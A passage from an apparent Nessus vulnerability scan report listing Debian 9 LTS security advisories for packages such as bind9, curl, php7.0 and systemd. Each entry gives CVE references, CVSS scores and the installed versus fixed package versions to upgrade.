https://lists.debian.org/debian-lts-announce/2021/04/msg00015.html
https://packages.debian.org/source/stretch/python2.7
https://security-tracker.debian.org/tracker/source-package/python2.7

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

CVSS v3.0 Temporal Score

5.5 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-16935
CVE	CVE-2021-23336

Plugin Information

Published: 2021/04/19, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : libpython2.7-minimal_2.7.13-2+deb9u3
Should be : libpython2.7-minimal_2.7.13-2+deb9u5
Remote package installed : libpython2.7-stdlib_2.7.13-2+deb9u3
Should be : libpython2.7-stdlib_2.7.13-2+deb9u5
Remote package installed : python2.7_2.7.13-2+deb9u3
Should be : python2.7_2.7.13-2+deb9u5
Remote package installed : python2.7-minimal_2.7.13-2+deb9u3
Should be : python2.7-minimal_2.7.13-2+deb9u5
```

149262 - Debian DLA-2647-1 : bind9 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were discovered in BIND, a DNS server implementation.

CVE-2021-25214

Greg Kuechle discovered that a malformed incoming IXFR transfer could trigger an assertion failure in named, resulting in denial of service.

CVE-2021-25215

Siva Kakarla discovered that named could crash when a DNAME record placed in the ANSWER section during DNAME chasing turned out to be the final answer to a client query.

CVE-2021-25216

It was discovered that the SPNEGO implementation used by BIND is prone to a buffer overflow vulnerability. This update switches to use the SPNEGO implementation from the Kerberos libraries.

For Debian 9 stretch, these problems have been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u9.

We recommend that you upgrade your bind9 packages.

For the detailed security status of bind9 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/bind9

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/05/msg00001.html
https://packages.debian.org/source/stretch/bind9
https://security-tracker.debian.org/tracker/source-package/bind9

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-25214
CVE	CVE-2021-25215
CVE	CVE-2021-25216

Plugin Information

Published: 2021/05/05, Modified: 2021/05/14

Plugin Output

tcp/0

```
Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u9
Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u9
```

149568 - Debian DLA-2664-1 : curl security update -

Synopsis

The remote Debian host is missing a security update.

Description

Viktor Szakats reported that libcurl, an URL transfer library, does not strip off user credentials from the URL when automatically populating the Referer HTTP request header field in outgoing HTTP requests. Sensitive authentication data may leak to the server that is the target of the second HTTP request.

For Debian 9 stretch, this problem has been fixed in version 7.52.1-5+deb9u14.

We recommend that you upgrade your curl packages.

For the detailed security status of curl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/curl

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/05/msg00019.html
https://packages.debian.org/source/stretch/curl
https://security-tracker.debian.org/tracker/source-package/curl

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-22876

Plugin Information

Published: 2021/05/18, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : curl_7.52.1-5+deb9u9
Should be : curl_7.52.1-5+deb9u14
Remote package installed : libcurl3_7.52.1-5+deb9u9
Should be : libcurl3_7.52.1-5+deb9u14
Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u9
Should be : libcurl3-gnutls_7.52.1-5+deb9u14
```

150005 - Debian DLA-2667-1 : djvulibre security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were discovered in djvulibre, a library and set of tools to handle documents in the DjVu format. An attacker could crash document viewers and possibly execute arbitrary code through crafted DjVu files.

For Debian 9 stretch, these problems have been fixed in version 3.5.27.1-7+deb9u1.

We recommend that you upgrade your djvulibre packages.

For the detailed security status of djvulibre please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/djvulibre

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/05/msg00022.html
https://packages.debian.org/source/stretch/djvulibre
https://security-tracker.debian.org/tracker/source-package/djvulibre

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-15142
CVE	CVE-2019-15143
CVE	CVE-2019-15144
CVE	CVE-2019-15145
CVE	CVE-2019-18804
CVE	CVE-2021-32490
CVE	CVE-2021-32491
CVE	CVE-2021-32492
CVE	CVE-2021-32493
CVE	CVE-2021-3500

Plugin Information

Published: 2021/05/27, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : libdjvulibre-text_3.5.27.1-7
Should be : libdjvulibre-text_3.5.27.1-7+deb9u1
Remote package installed : libdjvulibre21_3.5.27.1-7
Should be : libdjvulibre21_3.5.27.1-7+deb9u1
```

150111 - Debian DLA-2669-1 : libxml2 security update -

Synopsis

The remote Debian host is missing a security update.

Description

An issue has been found in libxml2, the GNOME XML library. This issue is called 'Parameter Laughs'-attack and is related to parameter entities expansion. It is similar to the 'Billion Laughs'-attacks found earlier in libexpat. More information can be found at [1]

[1] https://blog.hartwork.org/posts/cve-2021-3541-parameter-laughs-fixed-i n-libxml2-2-9-11/

For Debian 9 stretch, this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u5.

We recommend that you upgrade your libxml2 packages.

For the detailed security status of libxml2 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libxml2

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

http://www.nessus.org/u?61bdfec1
https://lists.debian.org/debian-lts-announce/2021/05/msg00024.html
https://packages.debian.org/source/stretch/libxml2
https://security-tracker.debian.org/tracker/source-package/libxml2

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2021-3541

Plugin Information

Published: 2021/06/01, Modified: 2021/07/14

Plugin Output

tcp/0

```
Remote package installed : libxml2_2.9.4+dfsg1-2.2+deb9u2
Should be : libxml2_2.9.4+dfsg1-2.2+deb9u5
```

150806 - Debian DLA-2686-1 : python-urllib3 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2686 advisory.

Several vulnerabilities were discovered in python-urllib3, a HTTP client for Python. CVE-2018-20060 Urllib3 does not remove the Authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the Authorization header to be exposed to unintended hosts or transmitted in cleartext. CVE-2019-11236 CRLF injection is possible if the attacker controls the request parameter. CVE-2019-11324 Urllib3 mishandles certain cases where the desired set of CA certificates is different from the OS store of CA certificates, which results in SSL connections succeeding in situations where a verification failure is the correct outcome. This is related to use of the ssl_context, ca_certs, or ca_certs_dir argument. CVE-2020-26137 Urllib3 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of putrequest(). For Debian 9 stretch, these problems have been fixed in version 1.19.1-1+deb9u1. We recommend that you upgrade your python-urllib3 packages. For the detailed security status of python-urllib3 please refer to its security tracker page at: https://security- tracker.debian.org/tracker/python-urllib3 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://packages.debian.org/source/stretch/python-urllib3
https://security-tracker.debian.org/tracker/CVE-2018-20060
https://security-tracker.debian.org/tracker/CVE-2019-11236
https://security-tracker.debian.org/tracker/CVE-2019-11324
https://security-tracker.debian.org/tracker/CVE-2020-26137
https://www.debian.org/lts/security/2021/dla-2686
http://www.nessus.org/u?eb907009

Solution

Upgrade the python-urllib3 packages.

For Debian 9 stretch, these problems have been fixed in version 1.19.1-1+deb9u1.

Risk Factor

Medium

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-20060
CVE	CVE-2019-11236
CVE	CVE-2019-11324
CVE	CVE-2020-26137

Plugin Information

Published: 2021/06/16, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : python3-urllib3_1.19.1-1
Should be : python3-urllib3_1.19.1-1+deb9u1
```

151028 - Debian DLA-2694-1 : tiff security update -

Synopsis

The remote Debian host is missing a security update.

Description

Two vulnerabilities have been discovered in the libtiff library and the included tools, which may result in denial of service or the execution of arbitrary code if malformed image files are processed.

For Debian 9 stretch, these problems have been fixed in version 4.0.8-2+deb9u6.

We recommend that you upgrade your tiff packages.

For the detailed security status of tiff please refer to its security tracker page at: https://security-tracker.debian.org/tracker/tiff

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/06/msg00023.html
https://packages.debian.org/source/stretch/tiff
https://security-tracker.debian.org/tracker/source-package/tiff

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-35523
CVE	CVE-2020-35524

Plugin Information

Published: 2021/06/28, Modified: 2023/10/18

Plugin Output

tcp/0

```
Remote package installed : libtiff5_4.0.8-2+deb9u4
Should be : libtiff5_4.0.8-2+deb9u6
```

151368 - Debian DLA-2701-1 : openexr - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2701 advisory.

- A heap-based buffer overflow vulnerability exists in Academy Software Foundation OpenEXR 2.3.0 in chunkOffsetReconstruction in ImfMultiPartInputFile.cpp that can cause a denial of service via a crafted EXR file. (CVE-2020-16587)

- A flaw was found in OpenEXR in versions before 3.0.0-beta. A crafted input file supplied by an attacker, that is processed by the Dwa decompression functionality of OpenEXR's IlmImf library, could cause a NULL pointer dereference. The highest threat from this vulnerability is to system availability.
(CVE-2021-20296)

- An integer overflow leading to a heap-buffer overflow was found in the DwaCompressor of OpenEXR in versions before 3.0.1. An attacker could use this flaw to crash an application compiled with OpenEXR.
(CVE-2021-23215)

- An integer overflow leading to a heap-buffer overflow was found in the DwaCompressor of OpenEXR in versions before 3.0.1. An attacker could use this flaw to crash an application compiled with OpenEXR. This is a different flaw from CVE-2021-23215. (CVE-2021-26260)

- There's a flaw in OpenEXR in versions before 3.0.0-beta. A crafted input file that is processed by OpenEXR could cause a shift overflow in the FastHufDecoder, potentially leading to problems with application availability. (CVE-2021-3474)

- There is a flaw in OpenEXR in versions before 3.0.0-beta. An attacker who can submit a crafted file to be processed by OpenEXR could cause an integer overflow, potentially leading to problems with application availability. (CVE-2021-3475)

- A flaw was found in OpenEXR's B44 uncompression functionality in versions before 3.0.0-beta. An attacker who is able to submit a crafted file to OpenEXR could trigger shift overflows, potentially affecting application availability. (CVE-2021-3476)

- There's a flaw in OpenEXR's deep tile sample size calculations in versions before 3.0.0-beta. An attacker who is able to submit a crafted file to be processed by OpenEXR could trigger an integer overflow, subsequently leading to an out-of-bounds read. The greatest risk of this flaw is to application availability. (CVE-2021-3477)

- There's a flaw in OpenEXR's scanline input file functionality in versions before 3.0.0-beta. An attacker able to submit a crafted file to be processed by OpenEXR could consume excessive system memory. The greatest impact of this flaw is to system availability. (CVE-2021-3478)

- There's a flaw in OpenEXR's Scanline API functionality in versions before 3.0.0-beta. An attacker who is able to submit a crafted file to be processed by OpenEXR could trigger excessive consumption of memory, resulting in an impact to system availability. (CVE-2021-3479)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=986796
https://security-tracker.debian.org/tracker/source-package/openexr
https://www.debian.org/lts/security/2021/dla-2701
https://security-tracker.debian.org/tracker/CVE-2020-16587
https://security-tracker.debian.org/tracker/CVE-2021-20296
https://security-tracker.debian.org/tracker/CVE-2021-23215
https://security-tracker.debian.org/tracker/CVE-2021-26260
https://security-tracker.debian.org/tracker/CVE-2021-3474
https://security-tracker.debian.org/tracker/CVE-2021-3475
https://security-tracker.debian.org/tracker/CVE-2021-3476
https://security-tracker.debian.org/tracker/CVE-2021-3477

https://security-tracker.debian.org/tracker/CVE-2021-3478
https://security-tracker.debian.org/tracker/CVE-2021-3479
https://security-tracker.debian.org/tracker/CVE-2021-3598
https://packages.debian.org/source/stretch/openexr

Solution

Upgrade the openexr packages.

For Debian 9 stretch, these problems have been fixed in version 2.2.0-11+deb9u3.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-16587
CVE	CVE-2021-3474
CVE	CVE-2021-3475
CVE	CVE-2021-3476
CVE	CVE-2021-3477
CVE	CVE-2021-3478
CVE	CVE-2021-3479
CVE	CVE-2021-3598
CVE	CVE-2021-20296
CVE	CVE-2021-23215
CVE	CVE-2021-26260

Plugin Information

Published: 2021/07/03, Modified: 2023/12/11

Plugin Output

tcp/0

```
Remote package installed : libopenexr22_2.2.0-11+b1
Should be : libopenexr22_2.2.0-11+deb9u3
```

151369 - Debian DLA-2702-1 : djvulibre - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2702 advisory.

An out-of-bounds write vulnerability was found in DjVuLibre in DJVU::DjVuTXT::decode() in DjVuText.cpp via a crafted djvu file which may lead to crash and segmentation fault. For Debian 9 stretch, this problem has been fixed in version 3.5.27.1-7+deb9u2. We recommend that you upgrade your djvulibre packages. For the detailed security status of djvulibre please refer to its security tracker page at: https://security- tracker.debian.org/tracker/djvulibre Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/djvulibre
https://www.debian.org/lts/security/2021/dla-2702
https://security-tracker.debian.org/tracker/CVE-2021-3630
https://packages.debian.org/source/stretch/djvulibre

Solution

Upgrade the djvulibre packages.

For Debian 9 stretch, this problem has been fixed in version 3.5.27.1-7+deb9u2.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2021-3630

Plugin Information

Published: 2021/07/04, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libdjvulibre-text_3.5.27.1-7
Should be : libdjvulibre-text_3.5.27.1-7+deb9u2
Remote package installed : libdjvulibre21_3.5.27.1-7
Should be : libdjvulibre21_3.5.27.1-7+deb9u2
```

151676 - Debian DLA-2708-1 : php7.0 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2708 advisory.

Several vulnerabilities were discovered in php5, a server-side, HTML-embedded scripting language. An attacker could cause denial of service (DoS), memory corruption and potentially execution of arbitrary code, and server-side request forgery (SSRF) bypass. CVE-2019-18218 fileinfo: cdf_read_property_info in cdf.c does not restrict the number of CDF_VECTOR elements, which allows a heap-based buffer overflow (4-byte out-of-bounds write). CVE-2020-7071 When validating URL with functions like filter_var($url, FILTER_VALIDATE_URL), PHP will accept an URL with invalid password as valid URL. This may lead to functions that rely on URL being valid to mis-parse the URL and produce wrong data as components of the URL. CVE-2021-21702 When using SOAP extension to connect to a SOAP server, a malicious SOAP server could return malformed XML data as a response that would cause PHP to access a null pointer and thus cause a crash. CVE-2021-21704 Multiple firebird issues. CVE-2021-21705 SSRF bypass in FILTER_VALIDATE_URL. For Debian 9 stretch, these problems have been fixed in version 7.0.33-0+deb9u11. We recommend that you upgrade your php7.0 packages. For the detailed security status of php7.0 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/php7.0 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=942830
https://security-tracker.debian.org/tracker/source-package/php7.0

https://www.debian.org/lts/security/2021/dla-2708
https://security-tracker.debian.org/tracker/CVE-2019-18218
https://security-tracker.debian.org/tracker/CVE-2020-7071
https://security-tracker.debian.org/tracker/CVE-2021-21702
https://security-tracker.debian.org/tracker/CVE-2021-21704
https://security-tracker.debian.org/tracker/CVE-2021-21705
https://packages.debian.org/source/stretch/php7.0

Solution

Upgrade the php7.0 packages.

For Debian 9 stretch, these problems have been fixed in version 7.0.33-0+deb9u11.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-18218
CVE	CVE-2020-7071
CVE	CVE-2021-21702
CVE	CVE-2021-21704
CVE	CVE-2021-21705
XREF	IAVA:2021-A-0009-S
XREF	IAVA:2021-A-0082-S

Plugin Information

Published: 2021/07/15, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u11
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u11
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u11
Remote package installed : php7.0-common_7.0.33-0+deb9u3
Should be : php7.0-common_7.0.33-0+deb9u11
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u11
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u11
Remote package installed : php7.0-json_7.0.33-0+deb9u3
Should be : php7.0-json_7.0.33-0+deb9u11
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u11
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u11
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u11
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u11
```

151834 - Debian DLA-2715-1 : systemd - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2715 advisory.

The Qualys Research Labs discovered that an attacker-controlled allocation using the alloca() function could result in memory corruption, allowing to crash systemd and hence the entire operating system.
Details can be found in the Qualys advisory at https://www.qualys.com/2021/07/20/cve-2021-33910/denial-of- service-systemd.txt For Debian 9 stretch, this problem has been fixed in version 232-25+deb9u13. We recommend that you upgrade your systemd packages. For the detailed security status of systemd please refer to its security tracker page at: https://security-tracker.debian.org/tracker/systemd Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/systemd
https://www.debian.org/lts/security/2021/dla-2715
https://security-tracker.debian.org/tracker/CVE-2021-33910
https://packages.debian.org/source/stretch/systemd

Solution

Upgrade the systemd packages.

For Debian 9 stretch, this problem has been fixed in version 232-25+deb9u13.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

II

References

CVE	CVE-2021-33910
XREF	IAVA:2021-A-0350

Plugin Information

Published: 2021/07/20, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libpam-systemd_232-25+deb9u11
Should be : libpam-systemd_232-25+deb9u13
Remote package installed : libsystemd0_232-25+deb9u11
Should be : libsystemd0_232-25+deb9u13
Remote package installed : libudev1_232-25+deb9u11
Should be : libudev1_232-25+deb9u13
Remote package installed : systemd_232-25+deb9u11
Should be : systemd_232-25+deb9u13
Remote package installed : systemd-sysv_232-25+deb9u11
Should be : systemd-sysv_232-25+deb9u13
Remote package installed : udev_232-25+deb9u11
Should be : udev_232-25+deb9u13
```

152223 - Debian DLA-2732-1 : openexr - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2732 advisory.

Several vulnerabilities were discovered in OpenEXR, a library and tools for the OpenEXR high dynamic-range (HDR) image format. An attacker could cause a denial of service (DoS) through application crash, and possibly execute code. For Debian 9 stretch, these problems have been fixed in version 2.2.0-11+deb9u4. We recommend that you upgrade your openexr packages. For the detailed security status of openexr please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openexr Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=990899
https://security-tracker.debian.org/tracker/source-package/openexr
https://www.debian.org/lts/security/2021/dla-2732
https://security-tracker.debian.org/tracker/CVE-2021-20299
https://security-tracker.debian.org/tracker/CVE-2021-20300
https://security-tracker.debian.org/tracker/CVE-2021-20302
https://security-tracker.debian.org/tracker/CVE-2021-20303
https://security-tracker.debian.org/tracker/CVE-2021-3605
https://packages.debian.org/source/stretch/openexr

Solution

Upgrade the openexr packages.

For Debian 9 stretch, these problems have been fixed in version 2.2.0-11+deb9u4.

Risk Factor

Medium

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-3605
CVE	CVE-2021-20299
CVE	CVE-2021-20300
CVE	CVE-2021-20302
CVE	CVE-2021-20303

Plugin Information

Published: 2021/08/05, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libopenexr22_2.2.0-11+b1
Should be : libopenexr22_2.2.0-11+deb9u4
```

152547 - Debian DLA-2734-1 : curl - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2734 advisory.

- curl 7.7 through 7.76.1 suffers from an information disclosure when the `-t` command line option, known as `CURLOPT_TELNETOPTIONS` in libcurl, is used to send variable=content pairs to TELNET servers. Due to a flaw in the option parser for sending NEW_ENV variables, libcurl could be made to pass on uninitialized data from a stack based buffer to the server, resulting in potentially revealing sensitive internal information to the server using a clear-text network protocol. (CVE-2021-22898)

- libcurl keeps previously used connections in a connection pool for subsequenttransfers to reuse, if one of them matches the setup.Due to errors in the logic, the config matching function did not take 'issuercert'
into account and it compared the involved paths *case insensitively*,which could lead to libcurl reusing wrong connections.File paths are, or can be, case sensitive on many systems but not all, and caneven vary depending on used file systems.The comparison also didn't include the 'issuer cert' which a transfer can setto qualify how to verify the server certificate. (CVE-2021-22924)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/curl
https://www.debian.org/lts/security/2021/dla-2734
https://security-tracker.debian.org/tracker/CVE-2021-22898
https://security-tracker.debian.org/tracker/CVE-2021-22924
https://packages.debian.org/source/stretch/curl

Solution

Upgrade the curl packages.

For Debian 9 stretch, these problems have been fixed in version 7.52.1-5+deb9u15.

Risk Factor

Medium

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.4 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-22898
CVE	CVE-2021-22924

Plugin Information

Published: 2021/08/13, Modified: 2023/12/04

Plugin Output

tcp/0

```
Remote package installed : curl_7.52.1-5+deb9u9
Should be : curl_7.52.1-5+deb9u15
